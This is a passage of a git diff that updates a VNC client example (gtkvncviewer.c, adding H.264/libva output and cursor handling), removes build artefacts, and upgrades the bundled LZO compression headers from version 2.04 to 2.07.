+++ /dev/null
@@ -1 +0,0 @@
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diff --git a/client_examples/.deps/backchannel.Po b/client_examples/.deps/backchannel.Po
deleted file mode 100644
index 9ce06a8..0000000
--- a/client_examples/.deps/backchannel.Po
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@@ -1 +0,0 @@
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diff --git a/client_examples/.deps/gtkvncviewer-gtkvncviewer.Po b/client_examples/.deps/gtkvncviewer-gtkvncviewer.Po
deleted file mode 100644
index 9ce06a8..0000000
--- a/client_examples/.deps/gtkvncviewer-gtkvncviewer.Po
+++ /dev/null
@@ -1 +0,0 @@
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diff --git a/client_examples/.deps/ppmtest.Po b/client_examples/.deps/ppmtest.Po
deleted file mode 100644
index 9ce06a8..0000000
--- a/client_examples/.deps/ppmtest.Po
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@@ -1 +0,0 @@
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deleted file mode 100644
index 9ce06a8..0000000
--- a/client_examples/.deps/vnc2mpg-vnc2mpg.Po
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@@ -1 +0,0 @@
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diff --git a/client_examples/Makefile b/client_examples/Makefile
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index 2779d53..9cb2c32 100644
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-.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \
- clean-libtool clean-noinstPROGRAMS ctags distclean \
- distclean-compile distclean-generic distclean-libtool \
- distclean-tags distdir dvi dvi-am html html-am info info-am \
- install install-am install-data install-data-am install-dvi \
- install-dvi-am install-exec install-exec-am install-html \
- install-html-am install-info install-info-am install-man \
- install-pdf install-pdf-am install-ps install-ps-am \
- install-strip installcheck installcheck-am installdirs \
- maintainer-clean maintainer-clean-generic mostlyclean \
- mostlyclean-compile mostlyclean-generic mostlyclean-libtool \
- pdf pdf-am ps ps-am tags uninstall uninstall-am
-
-
-# Tell versions [3.59,3.63) of GNU make to not export all variables.
-# Otherwise a system limit (for SysV at least) may be exceeded.
-.NOEXPORT:
diff --git a/client_examples/gtkvncviewer.c b/client_examples/gtkvncviewer.c
index 9e9e72b..261b2da 100644
--- a/client_examples/gtkvncviewer.c
+++ b/client_examples/gtkvncviewer.c
@@ -23,9 +23,15 @@
#include <gdk/gdkkeysyms.h>
#include <rfb/rfbclient.h>
+#ifdef LIBVNCSERVER_CONFIG_LIBVA
+#include <gdk/gdkx.h>
+#endif
+
static rfbClient *cl;
static gchar *server_cut_text = NULL;
static gboolean framebuffer_allocated = FALSE;
+static GtkWidget *window;
+static GtkWidget *dialog_connecting = NULL;
/* Redraw the screen from the backing pixmap */
static gboolean expose_event (GtkWidget *widget,
@@ -55,17 +61,32 @@
cl->format.greenMax = (1 << image->visual->green_prec) - 1;
cl->format.blueMax = (1 << image->visual->blue_prec) - 1;
+#ifdef LIBVNCSERVER_CONFIG_LIBVA
+ /* Allow libvncclient to use a more efficient way
+ * of putting the framebuffer on the screen when
+ * using the H.264 format.
+ */
+ cl->outputWindow = GDK_WINDOW_XID(widget->window);
+#endif
+
SetFormatAndEncodings (cl);
framebuffer_allocated = TRUE;
+
+ /* Also disable local cursor */
+ GdkCursor* cur = gdk_cursor_new( GDK_BLANK_CURSOR );
+ gdk_window_set_cursor (gtk_widget_get_window(GTK_WIDGET(window)), cur);
+ gdk_cursor_unref( cur );
}
+#ifndef LIBVNCSERVER_CONFIG_LIBVA
gdk_draw_image (GDK_DRAWABLE (widget->window),
widget->style->fg_gc[gtk_widget_get_state(widget)],
image,
event->area.x, event->area.y,
event->area.x, event->area.y,
event->area.width, event->area.height);
+#endif
return FALSE;
}
@@ -182,8 +203,6 @@
SendKeyEvent(cl, XK_Delete, FALSE);
}
-GtkWidget *dialog_connecting = NULL;
-
static void show_connect_window(int argc, char **argv)
{
GtkWidget *label;
@@ -365,7 +384,6 @@
}
static rfbBool resize (rfbClient *client) {
- GtkWidget *window;
GtkWidget *scrolled_window;
GtkWidget *drawing_area=NULL;
static char first=TRUE;
@@ -453,10 +471,17 @@
}
static void update (rfbClient *cl, int x, int y, int w, int h) {
+ if (dialog_connecting != NULL) {
+ gtk_widget_destroy (dialog_connecting);
+ dialog_connecting = NULL;
+ }
+
+#ifndef LIBVNCSERVER_CONFIG_LIBVA
GtkWidget *drawing_area = rfbClientGetClientData (cl, gtk_init);
if (drawing_area != NULL)
gtk_widget_queue_draw_area (drawing_area, x, y, w, h);
+#endif
}
static void kbd_leds (rfbClient *cl, int value, int pad) {
diff --git a/common/lzoconf.h b/common/lzoconf.h
index d6125e8..02fb202 100644
--- a/common/lzoconf.h
+++ b/common/lzoconf.h
@@ -1,22 +1,8 @@
-/* lzoconf.h -- configuration for the LZO real-time data compression library
+/* lzoconf.h -- configuration of the LZO data compression library
This file is part of the LZO real-time data compression library.
- Copyright (C) 2010 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2009 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2008 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2007 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2006 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2005 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2004 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2003 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2002 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2001 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2000 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1999 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1998 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1997 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1996 Markus Franz Xaver Johannes Oberhumer
+ Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer
All Rights Reserved.
The LZO library is free software; you can redistribute it and/or
@@ -43,9 +29,9 @@
#ifndef __LZOCONF_H_INCLUDED
#define __LZOCONF_H_INCLUDED 1
-#define LZO_VERSION 0x2040
-#define LZO_VERSION_STRING "2.04"
-#define LZO_VERSION_DATE "Oct 31 2010"
+#define LZO_VERSION 0x2070
+#define LZO_VERSION_STRING "2.07"
+#define LZO_VERSION_DATE "Jun 25 2014"
/* internal Autoconf configuration file - only used when building LZO */
#if defined(LZO_HAVE_CONFIG_H)
@@ -62,7 +48,7 @@
#if !defined(CHAR_BIT) || (CHAR_BIT != 8)
# error "invalid CHAR_BIT"
#endif
-#if !defined(UCHAR_MAX) || !defined(UINT_MAX) || !defined(ULONG_MAX)
+#if !defined(UCHAR_MAX) || !defined(USHRT_MAX) || !defined(UINT_MAX) || !defined(ULONG_MAX)
# error "check your compiler installation"
#endif
#if (USHRT_MAX < 1) || (UINT_MAX < 1) || (ULONG_MAX < 1)
@@ -84,14 +70,6 @@
// some core defines
************************************************************************/
-#if !defined(LZO_UINT32_C)
-# if (UINT_MAX < LZO_0xffffffffL)
-# define LZO_UINT32_C(c) c ## UL
-# else
-# define LZO_UINT32_C(c) ((c) + 0U)
-# endif
-#endif
-
/* memory checkers */
#if !defined(__LZO_CHECKER)
# if defined(__BOUNDS_CHECKING_ON)
@@ -110,28 +88,31 @@
// integral and pointer types
************************************************************************/
-/* lzo_uint should match size_t */
+/* lzo_uint must match size_t */
#if !defined(LZO_UINT_MAX)
-# if defined(LZO_ABI_LLP64) /* WIN64 */
-# if defined(LZO_OS_WIN64)
+# if (LZO_ABI_LLP64)
+# if (LZO_OS_WIN64)
typedef unsigned __int64 lzo_uint;
typedef __int64 lzo_int;
# else
- typedef unsigned long long lzo_uint;
- typedef long long lzo_int;
+ typedef lzo_ullong_t lzo_uint;
+ typedef lzo_llong_t lzo_int;
# endif
+# define LZO_SIZEOF_LZO_UINT 8
# define LZO_UINT_MAX 0xffffffffffffffffull
# define LZO_INT_MAX 9223372036854775807LL
# define LZO_INT_MIN (-1LL - LZO_INT_MAX)
-# elif defined(LZO_ABI_IP32L64) /* MIPS R5900 */
+# elif (LZO_ABI_IP32L64) /* MIPS R5900 */
typedef unsigned int lzo_uint;
typedef int lzo_int;
+# define LZO_SIZEOF_LZO_UINT LZO_SIZEOF_INT
# define LZO_UINT_MAX UINT_MAX
# define LZO_INT_MAX INT_MAX
# define LZO_INT_MIN INT_MIN
# elif (ULONG_MAX >= LZO_0xffffffffL)
typedef unsigned long lzo_uint;
typedef long lzo_int;
+# define LZO_SIZEOF_LZO_UINT LZO_SIZEOF_LONG
# define LZO_UINT_MAX ULONG_MAX
# define LZO_INT_MAX LONG_MAX
# define LZO_INT_MIN LONG_MIN
@@ -140,42 +121,22 @@
# endif
#endif
-/* Integral types with 32 bits or more. */
-#if !defined(LZO_UINT32_MAX)
-# if (UINT_MAX >= LZO_0xffffffffL)
- typedef unsigned int lzo_uint32;
- typedef int lzo_int32;
-# define LZO_UINT32_MAX UINT_MAX
-# define LZO_INT32_MAX INT_MAX
-# define LZO_INT32_MIN INT_MIN
-# elif (ULONG_MAX >= LZO_0xffffffffL)
- typedef unsigned long lzo_uint32;
- typedef long lzo_int32;
-# define LZO_UINT32_MAX ULONG_MAX
-# define LZO_INT32_MAX LONG_MAX
-# define LZO_INT32_MIN LONG_MIN
-# else
-# error "lzo_uint32"
-# endif
-#endif
-
-/* The larger type of lzo_uint and lzo_uint32. */
-#if (LZO_UINT_MAX >= LZO_UINT32_MAX)
+/* The larger type of lzo_uint and lzo_uint32_t. */
+#if (LZO_SIZEOF_LZO_UINT >= 4)
# define lzo_xint lzo_uint
#else
-# define lzo_xint lzo_uint32
+# define lzo_xint lzo_uint32_t
#endif
-/* Memory model that allows to access memory at offsets of lzo_uint. */
-#if !defined(__LZO_MMODEL)
-# if (LZO_UINT_MAX <= UINT_MAX)
-# define __LZO_MMODEL /*empty*/
-# elif defined(LZO_HAVE_MM_HUGE_PTR)
-# define __LZO_MMODEL_HUGE 1
-# define __LZO_MMODEL __huge
-# else
-# define __LZO_MMODEL /*empty*/
-# endif
+typedef int lzo_bool;
+
+/* sanity checks */
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == LZO_SIZEOF_LZO_UINT)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_xint) >= sizeof(lzo_uint))
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_xint) >= sizeof(lzo_uint32_t))
+
+#ifndef __LZO_MMODEL
+#define __LZO_MMODEL /*empty*/
#endif
/* no typedef here because of const-pointer issues */
@@ -184,17 +145,52 @@
#define lzo_voidp void __LZO_MMODEL *
#define lzo_shortp short __LZO_MMODEL *
#define lzo_ushortp unsigned short __LZO_MMODEL *
-#define lzo_uint32p lzo_uint32 __LZO_MMODEL *
-#define lzo_int32p lzo_int32 __LZO_MMODEL *
-#define lzo_uintp lzo_uint __LZO_MMODEL *
#define lzo_intp lzo_int __LZO_MMODEL *
+#define lzo_uintp lzo_uint __LZO_MMODEL *
#define lzo_xintp lzo_xint __LZO_MMODEL *
#define lzo_voidpp lzo_voidp __LZO_MMODEL *
#define lzo_bytepp lzo_bytep __LZO_MMODEL *
-/* deprecated - use 'lzo_bytep' instead of 'lzo_byte *' */
-#define lzo_byte unsigned char __LZO_MMODEL
-typedef int lzo_bool;
+#define lzo_int8_tp lzo_int8_t __LZO_MMODEL *
+#define lzo_uint8_tp lzo_uint8_t __LZO_MMODEL *
+#define lzo_int16_tp lzo_int16_t __LZO_MMODEL *
+#define lzo_uint16_tp lzo_uint16_t __LZO_MMODEL *
+#define lzo_int32_tp lzo_int32_t __LZO_MMODEL *
+#define lzo_uint32_tp lzo_uint32_t __LZO_MMODEL *
+#if defined(lzo_int64_t)
+#define lzo_int64_tp lzo_int64_t __LZO_MMODEL *
+#define lzo_uint64_tp lzo_uint64_t __LZO_MMODEL *
+#endif
+
+/* Older LZO versions used to support ancient systems and memory models
+ * like 16-bit MSDOS with __huge pointers and Cray PVP, but these
+ * obsolete configurations are not supported any longer.
+ */
+#if defined(__LZO_MMODEL_HUGE)
+#error "__LZO_MMODEL_HUGE is unsupported"
+#endif
+#if (LZO_MM_PVP)
+#error "LZO_MM_PVP is unsupported"
+#endif
+#if (LZO_SIZEOF_INT < 4)
+#error "LZO_SIZEOF_INT < 4 is unsupported"
+#endif
+#if (__LZO_UINTPTR_T_IS_POINTER)
+#error "__LZO_UINTPTR_T_IS_POINTER is unsupported"
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) >= 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) >= 4)
+/* Strange configurations where sizeof(lzo_uint) != sizeof(size_t) should
+ * work but have not received much testing lately, so be strict here.
+ */
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == sizeof(size_t))
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == sizeof(ptrdiff_t))
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == sizeof(lzo_uintptr_t))
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(void *) == sizeof(lzo_uintptr_t))
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(char *) == sizeof(lzo_uintptr_t))
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long *) == sizeof(lzo_uintptr_t))
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(void *) == sizeof(lzo_voidp))
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(char *) == sizeof(lzo_bytep))
/***********************************************************************
@@ -289,7 +285,7 @@
/* a progress indicator callback function (set to 0 to disable) */
lzo_progress_func_t nprogress;
- /* NOTE: the first parameter "self" of the nalloc/nfree/nprogress
+ /* INFO: the first parameter "self" of the nalloc/nfree/nprogress
* callbacks points back to this struct, so you are free to store
* some extra info in the following variables. */
lzo_voidp user1;
@@ -308,7 +304,7 @@
*/
#define LZO_E_OK 0
#define LZO_E_ERROR (-1)
-#define LZO_E_OUT_OF_MEMORY (-2) /* [not used right now] */
+#define LZO_E_OUT_OF_MEMORY (-2) /* [lzo_alloc_func_t failure] */
#define LZO_E_NOT_COMPRESSIBLE (-3) /* [not used right now] */
#define LZO_E_INPUT_OVERRUN (-4)
#define LZO_E_OUTPUT_OVERRUN (-5)
@@ -316,6 +312,10 @@
#define LZO_E_EOF_NOT_FOUND (-7)
#define LZO_E_INPUT_NOT_CONSUMED (-8)
#define LZO_E_NOT_YET_IMPLEMENTED (-9) /* [not used right now] */
+#define LZO_E_INVALID_ARGUMENT (-10)
+#define LZO_E_INVALID_ALIGNMENT (-11) /* pointer argument is not properly aligned */
+#define LZO_E_OUTPUT_NOT_CONSUMED (-12)
+#define LZO_E_INTERNAL_ERROR (-99)
#ifndef lzo_sizeof_dict_t
@@ -329,7 +329,7 @@
* compiler's view of various types are consistent.
*/
#define lzo_init() __lzo_init_v2(LZO_VERSION,(int)sizeof(short),(int)sizeof(int),\
- (int)sizeof(long),(int)sizeof(lzo_uint32),(int)sizeof(lzo_uint),\
+ (int)sizeof(long),(int)sizeof(lzo_uint32_t),(int)sizeof(lzo_uint),\
(int)lzo_sizeof_dict_t,(int)sizeof(char *),(int)sizeof(lzo_voidp),\
(int)sizeof(lzo_callback_t))
LZO_EXTERN(int) __lzo_init_v2(unsigned,int,int,int,int,int,int,int,int,int);
@@ -352,18 +352,22 @@
lzo_memset(lzo_voidp buf, int c, lzo_uint len);
/* checksum functions */
-LZO_EXTERN(lzo_uint32)
- lzo_adler32(lzo_uint32 c, const lzo_bytep buf, lzo_uint len);
-LZO_EXTERN(lzo_uint32)
- lzo_crc32(lzo_uint32 c, const lzo_bytep buf, lzo_uint len);
-LZO_EXTERN(const lzo_uint32p)
+LZO_EXTERN(lzo_uint32_t)
+ lzo_adler32(lzo_uint32_t c, const lzo_bytep buf, lzo_uint len);
+LZO_EXTERN(lzo_uint32_t)
+ lzo_crc32(lzo_uint32_t c, const lzo_bytep buf, lzo_uint len);
+LZO_EXTERN(const lzo_uint32_tp)
lzo_get_crc32_table(void);
/* misc. */
LZO_EXTERN(int) _lzo_config_check(void);
-typedef union { lzo_bytep p; lzo_uint u; } __lzo_pu_u;
-typedef union { lzo_bytep p; lzo_uint32 u32; } __lzo_pu32_u;
-typedef union { void *vp; lzo_bytep bp; lzo_uint u; lzo_uint32 u32; unsigned long l; } lzo_align_t;
+typedef union {
+ lzo_voidp a00; lzo_bytep a01; lzo_uint a02; lzo_xint a03; lzo_uintptr_t a04;
+ void *a05; unsigned char *a06; unsigned long a07; size_t a08; ptrdiff_t a09;
+#if defined(lzo_int64_t)
+ lzo_uint64_t a10;
+#endif
+} lzo_align_t;
/* align a char pointer on a boundary that is a multiple of 'size' */
LZO_EXTERN(unsigned) __lzo_align_gap(const lzo_voidp p, lzo_uint size);
@@ -372,9 +376,30 @@
/***********************************************************************
-// deprecated macros - only for backward compatibility with LZO v1.xx
+// deprecated macros - only for backward compatibility
************************************************************************/
+/* deprecated - use 'lzo_bytep' instead of 'lzo_byte *' */
+#define lzo_byte unsigned char
+/* deprecated type names */
+#define lzo_int32 lzo_int32_t
+#define lzo_uint32 lzo_uint32_t
+#define lzo_int32p lzo_int32_t __LZO_MMODEL *
+#define lzo_uint32p lzo_uint32_t __LZO_MMODEL *
+#define LZO_INT32_MAX LZO_INT32_C(2147483647)
+#define LZO_UINT32_MAX LZO_UINT32_C(4294967295)
+#if defined(lzo_int64_t)
+#define lzo_int64 lzo_int64_t
+#define lzo_uint64 lzo_uint64_t
+#define lzo_int64p lzo_int64_t __LZO_MMODEL *
+#define lzo_uint64p lzo_uint64_t __LZO_MMODEL *
+#define LZO_INT64_MAX LZO_INT64_C(9223372036854775807)
+#define LZO_UINT64_MAX LZO_UINT64_C(18446744073709551615)
+#endif
+/* deprecated types */
+typedef union { lzo_bytep a; lzo_uint b; } __lzo_pu_u;
+typedef union { lzo_bytep a; lzo_uint32_t b; } __lzo_pu32_u;
+
#if defined(LZO_CFG_COMPAT)
#define __LZOCONF_H 1
diff --git a/common/lzodefs.h b/common/lzodefs.h
index 190013f..f4ae948 100644
--- a/common/lzodefs.h
+++ b/common/lzodefs.h
@@ -2,21 +2,7 @@
This file is part of the LZO real-time data compression library.
- Copyright (C) 2010 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2009 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2008 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2007 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2006 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2005 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2004 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2003 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2002 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2001 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2000 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1999 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1998 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1997 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1996 Markus Franz Xaver Johannes Oberhumer
+ Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer
All Rights Reserved.
The LZO library is free software; you can redistribute it and/or
@@ -46,12 +32,6 @@
#if defined(__CYGWIN32__) && !defined(__CYGWIN__)
# define __CYGWIN__ __CYGWIN32__
#endif
-#if defined(__IBMCPP__) && !defined(__IBMC__)
-# define __IBMC__ __IBMCPP__
-#endif
-#if defined(__ICL) && defined(_WIN32) && !defined(__INTEL_COMPILER)
-# define __INTEL_COMPILER __ICL
-#endif
#if 1 && defined(__INTERIX) && defined(__GNUC__) && !defined(_ALL_SOURCE)
# define _ALL_SOURCE 1
#endif
@@ -60,19 +40,30 @@
# define __LONG_MAX__ 9223372036854775807L
# endif
#endif
-#if defined(__INTEL_COMPILER) && defined(__linux__)
+#if !defined(LZO_CFG_NO_DISABLE_WUNDEF)
+#if defined(__ARMCC_VERSION)
+# pragma diag_suppress 193
+#elif defined(__clang__) && defined(__clang_minor__)
+# pragma clang diagnostic ignored "-Wundef"
+#elif defined(__INTEL_COMPILER)
# pragma warning(disable: 193)
-#endif
-#if defined(__KEIL__) && defined(__C166__)
+#elif defined(__KEIL__) && defined(__C166__)
# pragma warning disable = 322
-#elif 0 && defined(__C251__)
-# pragma warning disable = 322
-#endif
-#if defined(_MSC_VER) && !defined(__INTEL_COMPILER) && !defined(__MWERKS__)
-# if (_MSC_VER >= 1300)
+#elif defined(__GNUC__) && defined(__GNUC_MINOR__) && !defined(__PATHSCALE__)
+# if ((__GNUC__-0) >= 5 || ((__GNUC__-0) == 4 && (__GNUC_MINOR__-0) >= 2))
+# pragma GCC diagnostic ignored "-Wundef"
+# endif
+#elif defined(_MSC_VER) && !defined(__clang__) && !defined(__INTEL_COMPILER) && !defined(__MWERKS__)
+# if ((_MSC_VER-0) >= 1300)
# pragma warning(disable: 4668)
# endif
#endif
+#endif
+#if 0 && defined(__POCC__) && defined(_WIN32)
+# if (__POCC__ >= 400)
+# pragma warn(disable: 2216)
+# endif
+#endif
#if 0 && defined(__WATCOMC__)
# if (__WATCOMC__ >= 1050) && (__WATCOMC__ < 1060)
# pragma warning 203 9
@@ -81,13 +72,29 @@
#if defined(__BORLANDC__) && defined(__MSDOS__) && !defined(__FLAT__)
# pragma option -h
#endif
-#if 0
-#define LZO_0xffffL 0xfffful
-#define LZO_0xffffffffL 0xfffffffful
-#else
-#define LZO_0xffffL 65535ul
-#define LZO_0xffffffffL 4294967295ul
+#if !(LZO_CFG_NO_DISABLE_WCRTNONSTDC)
+#ifndef _CRT_NONSTDC_NO_DEPRECATE
+#define _CRT_NONSTDC_NO_DEPRECATE 1
#endif
+#ifndef _CRT_NONSTDC_NO_WARNINGS
+#define _CRT_NONSTDC_NO_WARNINGS 1
+#endif
+#ifndef _CRT_SECURE_NO_DEPRECATE
+#define _CRT_SECURE_NO_DEPRECATE 1
+#endif
+#ifndef _CRT_SECURE_NO_WARNINGS
+#define _CRT_SECURE_NO_WARNINGS 1
+#endif
+#endif
+#if 0
+#define LZO_0xffffUL 0xfffful
+#define LZO_0xffffffffUL 0xfffffffful
+#else
+#define LZO_0xffffUL 65535ul
+#define LZO_0xffffffffUL 4294967295ul
+#endif
+#define LZO_0xffffL LZO_0xffffUL
+#define LZO_0xffffffffL LZO_0xffffffffUL
#if (LZO_0xffffL == LZO_0xffffffffL)
# error "your preprocessor is broken 1"
#endif
@@ -102,6 +109,13 @@
# error "your preprocessor is broken 4"
#endif
#endif
+#if defined(__COUNTER__)
+# ifndef LZO_CFG_USE_COUNTER
+# define LZO_CFG_USE_COUNTER 1
+# endif
+#else
+# undef LZO_CFG_USE_COUNTER
+#endif
#if (UINT_MAX == LZO_0xffffL)
#if defined(__ZTC__) && defined(__I86__) && !defined(__OS2__)
# if !defined(MSDOS)
@@ -232,14 +246,31 @@
#endif
#define LZO_PP_STRINGIZE(x) #x
#define LZO_PP_MACRO_EXPAND(x) LZO_PP_STRINGIZE(x)
+#define LZO_PP_CONCAT0() /*empty*/
+#define LZO_PP_CONCAT1(a) a
#define LZO_PP_CONCAT2(a,b) a ## b
#define LZO_PP_CONCAT3(a,b,c) a ## b ## c
#define LZO_PP_CONCAT4(a,b,c,d) a ## b ## c ## d
#define LZO_PP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e
+#define LZO_PP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f
+#define LZO_PP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g
+#define LZO_PP_ECONCAT0() LZO_PP_CONCAT0()
+#define LZO_PP_ECONCAT1(a) LZO_PP_CONCAT1(a)
#define LZO_PP_ECONCAT2(a,b) LZO_PP_CONCAT2(a,b)
#define LZO_PP_ECONCAT3(a,b,c) LZO_PP_CONCAT3(a,b,c)
#define LZO_PP_ECONCAT4(a,b,c,d) LZO_PP_CONCAT4(a,b,c,d)
#define LZO_PP_ECONCAT5(a,b,c,d,e) LZO_PP_CONCAT5(a,b,c,d,e)
+#define LZO_PP_ECONCAT6(a,b,c,d,e,f) LZO_PP_CONCAT6(a,b,c,d,e,f)
+#define LZO_PP_ECONCAT7(a,b,c,d,e,f,g) LZO_PP_CONCAT7(a,b,c,d,e,f,g)
+#define LZO_PP_EMPTY /*empty*/
+#define LZO_PP_EMPTY0() /*empty*/
+#define LZO_PP_EMPTY1(a) /*empty*/
+#define LZO_PP_EMPTY2(a,b) /*empty*/
+#define LZO_PP_EMPTY3(a,b,c) /*empty*/
+#define LZO_PP_EMPTY4(a,b,c,d) /*empty*/
+#define LZO_PP_EMPTY5(a,b,c,d,e) /*empty*/
+#define LZO_PP_EMPTY6(a,b,c,d,e,f) /*empty*/
+#define LZO_PP_EMPTY7(a,b,c,d,e,f,g) /*empty*/
#if 1
#define LZO_CPP_STRINGIZE(x) #x
#define LZO_CPP_MACRO_EXPAND(x) LZO_CPP_STRINGIZE(x)
@@ -247,12 +278,16 @@
#define LZO_CPP_CONCAT3(a,b,c) a ## b ## c
#define LZO_CPP_CONCAT4(a,b,c,d) a ## b ## c ## d
#define LZO_CPP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e
+#define LZO_CPP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f
+#define LZO_CPP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g
#define LZO_CPP_ECONCAT2(a,b) LZO_CPP_CONCAT2(a,b)
#define LZO_CPP_ECONCAT3(a,b,c) LZO_CPP_CONCAT3(a,b,c)
#define LZO_CPP_ECONCAT4(a,b,c,d) LZO_CPP_CONCAT4(a,b,c,d)
#define LZO_CPP_ECONCAT5(a,b,c,d,e) LZO_CPP_CONCAT5(a,b,c,d,e)
+#define LZO_CPP_ECONCAT6(a,b,c,d,e,f) LZO_CPP_CONCAT6(a,b,c,d,e,f)
+#define LZO_CPP_ECONCAT7(a,b,c,d,e,f,g) LZO_CPP_CONCAT7(a,b,c,d,e,f,g)
#endif
-#define __LZO_MASK_GEN(o,b) (((((o) << ((b)-1)) - (o)) << 1) + (o))
+#define __LZO_MASK_GEN(o,b) (((((o) << ((b)-!!(b))) - (o)) << 1) + (o)*!!(b))
#if 1 && defined(__cplusplus)
# if !defined(__STDC_CONSTANT_MACROS)
# define __STDC_CONSTANT_MACROS 1
@@ -262,9 +297,13 @@
# endif
#endif
#if defined(__cplusplus)
-# define LZO_EXTERN_C extern "C"
+# define LZO_EXTERN_C extern "C"
+# define LZO_EXTERN_C_BEGIN extern "C" {
+# define LZO_EXTERN_C_END }
#else
-# define LZO_EXTERN_C extern
+# define LZO_EXTERN_C extern
+# define LZO_EXTERN_C_BEGIN /*empty*/
+# define LZO_EXTERN_C_END /*empty*/
#endif
#if !defined(__LZO_OS_OVERRIDE)
#if (LZO_OS_FREESTANDING)
@@ -365,12 +404,12 @@
#elif defined(__VMS)
# define LZO_OS_VMS 1
# define LZO_INFO_OS "vms"
-#elif ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__))
+#elif (defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)
# define LZO_OS_CONSOLE 1
# define LZO_OS_CONSOLE_PS2 1
# define LZO_INFO_OS "console"
# define LZO_INFO_OS_CONSOLE "ps2"
-#elif (defined(__mips__) && defined(__psp__))
+#elif defined(__mips__) && defined(__psp__)
# define LZO_OS_CONSOLE 1
# define LZO_OS_CONSOLE_PSP 1
# define LZO_INFO_OS "console"
@@ -398,9 +437,18 @@
# elif defined(__linux__) || defined(__linux) || defined(__LINUX__)
# define LZO_OS_POSIX_LINUX 1
# define LZO_INFO_OS_POSIX "linux"
-# elif defined(__APPLE__) || defined(__MACOS__)
-# define LZO_OS_POSIX_MACOSX 1
-# define LZO_INFO_OS_POSIX "macosx"
+# elif defined(__APPLE__) && defined(__MACH__)
+# if ((__ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__-0) >= 20000)
+# define LZO_OS_POSIX_DARWIN 1040
+# define LZO_INFO_OS_POSIX "darwin_iphone"
+# elif ((__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__-0) >= 1040)
+# define LZO_OS_POSIX_DARWIN __ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__
+# define LZO_INFO_OS_POSIX "darwin"
+# else
+# define LZO_OS_POSIX_DARWIN 1
+# define LZO_INFO_OS_POSIX "darwin"
+# endif
+# define LZO_OS_POSIX_MACOSX LZO_OS_POSIX_DARWIN
# elif defined(__minix__) || defined(__minix)
# define LZO_OS_POSIX_MINIX 1
# define LZO_INFO_OS_POSIX "minix"
@@ -435,18 +483,18 @@
#endif
#if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16)
# if (UINT_MAX != LZO_0xffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (ULONG_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
#if (LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_WIN32 || LZO_OS_WIN64)
# if (UINT_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (ULONG_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
#if defined(CIL) && defined(_GNUCC) && defined(__GNUC__)
@@ -462,59 +510,65 @@
# define LZO_INFO_CC "sdcc"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(SDCC)
#elif defined(__PATHSCALE__) && defined(__PATHCC_PATCHLEVEL__)
-# define LZO_CC_PATHSCALE (__PATHCC__ * 0x10000L + __PATHCC_MINOR__ * 0x100 + __PATHCC_PATCHLEVEL__)
